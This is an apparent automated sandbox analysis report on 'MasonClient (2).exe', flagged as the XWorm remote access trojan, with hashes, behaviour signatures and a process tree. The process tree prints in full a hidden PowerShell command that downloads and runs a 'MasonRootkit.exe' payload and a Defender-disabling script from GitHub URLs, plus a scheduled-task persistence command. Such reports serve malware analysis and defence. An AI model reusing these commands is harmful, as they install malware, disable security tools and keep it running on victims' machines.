Overview

overview

10

Static

static

10

MasonClient (2).exe

windows7-x64

10

MasonClient (2).exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    06/03/2025, 18:42

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    MasonClient (2).exe

  • Size

    50KB

  • MD5

    8e1315e3fbb888c3406329c129c72fe1

  • SHA1

    fafc443d666b5de904bd53b44098a68cbb40cd6f

  • SHA256

    be843c7232855df03d15657ef49ba3acff09ded0016497246c26612490985adb

  • SHA512

    c3bbdc8a739b01a4ecb96e132fcf771943269111dfda92c1071a85843a72813a66e121f3e7bd7273fbd6710c096891ef83b420b111292569059b4b8b8532ed45

  • SSDEEP

    1536:GAI1lAKBCVVD489e6IvFbCCN5HGl/IbO4uI:hI1lAKBCrDJI9bCy5+/IbOJI

Score
10/10
xwormexecutionrattrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes
  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 49 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\MasonClient (2).exe
    "C:\Users\Admin\AppData\Local\Temp\MasonClient (2).exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2608
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2164
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonClient (2)" /tr "C:\Users\Admin\AppData\Roaming\MasonClient (2).exe"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2796
  • C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    1⤵
      PID:2920
    • C:\Windows\system32\AUDIODG.EXE
      C:\Windows\system32\AUDIODG.EXE 0x458
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2804
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {52ACC4EF-A501-40E2-9587-47E9FA04ED01} S-1-5-21-3692679935-4019334568-335155002-1000:BCXRJFKE\Admin:Interactive:[1]
      1⤵
        PID:912

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
        Filesize

        71KB

        MD5

        83142242e97b8953c386f988aa694e4a

        SHA1

        833ed12fc15b356136dcdd27c61a50f59c5c7d50

        SHA256

        d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755

        SHA512

        bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\TarB217.tmp
        Filesize

        183KB

        MD5

        109cab5505f5e065b63d01361467a83b

        SHA1

        4ed78955b9272a9ed689b51bf2bf4a86a25e53fc

        SHA256

        ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673

        SHA512

        753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc

        Download Submit

      • memory/2164-6-0x0000000002620000-0x00000000026A0000-memory.dmp

        Filesize

        512KB

        Download

      • memory/2164-7-0x000000001B100000-0x000000001B3E2000-memory.dmp

        Filesize

        2.9MB

        Download

      • memory/2164-8-0x0000000002410000-0x0000000002418000-memory.dmp

        Filesize

        32KB

        Download

      • memory/2164-9-0x0000000002620000-0x00000000026A0000-memory.dmp

        Filesize

        512KB

        Download

      • memory/2608-0-0x000007FEF5A93000-0x000007FEF5A94000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2608-1-0x0000000000A60000-0x0000000000A72000-memory.dmp

        Filesize

        72KB

        Download

      • memory/2608-11-0x000007FEF5A93000-0x000007FEF5A94000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2608-69-0x000000001AEE0000-0x000000001AF60000-memory.dmp

        Filesize

        512KB

        Download